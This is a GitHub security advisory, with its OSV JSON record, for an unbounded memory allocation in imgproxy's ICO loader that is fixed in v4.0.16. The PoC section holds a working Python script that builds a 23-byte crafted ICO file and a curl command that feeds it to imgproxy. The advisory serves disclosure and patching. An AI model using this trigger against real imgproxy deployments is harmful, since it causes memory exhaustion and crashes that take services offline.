GHSA-MMQ5-XM89-9PFG
Vulnerability from github – Published: 2026-10-30 22:55 – Updated: 2026-10-30 22:55Summary
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (vips/icoload.c). An attacker-controlled data_size field (u32) from the ICO directory entry is passed directly to VIPS_MALLOC without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.
Details
In vips_foreign_load_ico_header in vips/icoload.c, the selected directory entry's data_size is read and used directly for the allocation:
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
There is no validation that data_size is sane nor any check that the file actually contains data_size bytes at the declared data_offset. A crafted 23-byte ICO whose directory entry declares data_size = 0xfa000068 (~4GB) drives VIPS_MALLOC(NULL, ~4GB + 14).
PoC
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
# decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
# transiently — repeatable memory exhaustion).
Impact
Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.15"
},
"package": {
"ecosystem": "Go",
"name": "github.com/imgproxy/imgproxy/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "4.0.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:55:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nUnbounded and unvalidated memory allocation in imgproxy\u0027s ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.\n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry\u0027s `data_size` is read and used directly for the allocation:\n\n```\nuint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);\n\n// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.\nVipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);\n```\n\nThere is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.\n\n### PoC\n\n```py\n# make_ico_4gb.py \u2014 generates the exact 23-byte unbounded-allocation trigger.\n# Byte-identical to the checksummed, production-verified file:\n# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b\nimport struct, hashlib\n\nhdr = struct.pack(\u0027\u003cHHH\u0027, 0, 1, 1) # reserved, type=ICO, count=1\nentry = struct.pack(\u0027\u003cBBBBHHII\u0027, 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)\ndata = b\u0027\\x00\u0027\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n \u00276cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b\u0027\nopen(\u0027ico-4gb.ico\u0027, \u0027wb\u0027).write(blob)\nprint(f\"ico-4gb.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png\"\n# \u2192 outcome depends on host memory: on a memory-constrained pod the worker\n# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and\n# decode fails -\u003e HTTP 500 (worker survives, but each request burns ~4GB\n# transiently \u2014 repeatable memory exhaustion).\n```\n\n### Impact\n\nUnauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.",
"id": "GHSA-mmq5-xm89-9pfg",
"modified": "2026-10-30T22:55:49Z",
"published": "2026-10-30T22:55:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917"
},
{
"type": "PACKAGE",
"url": "https://github.com/imgproxy/imgproxy"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
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- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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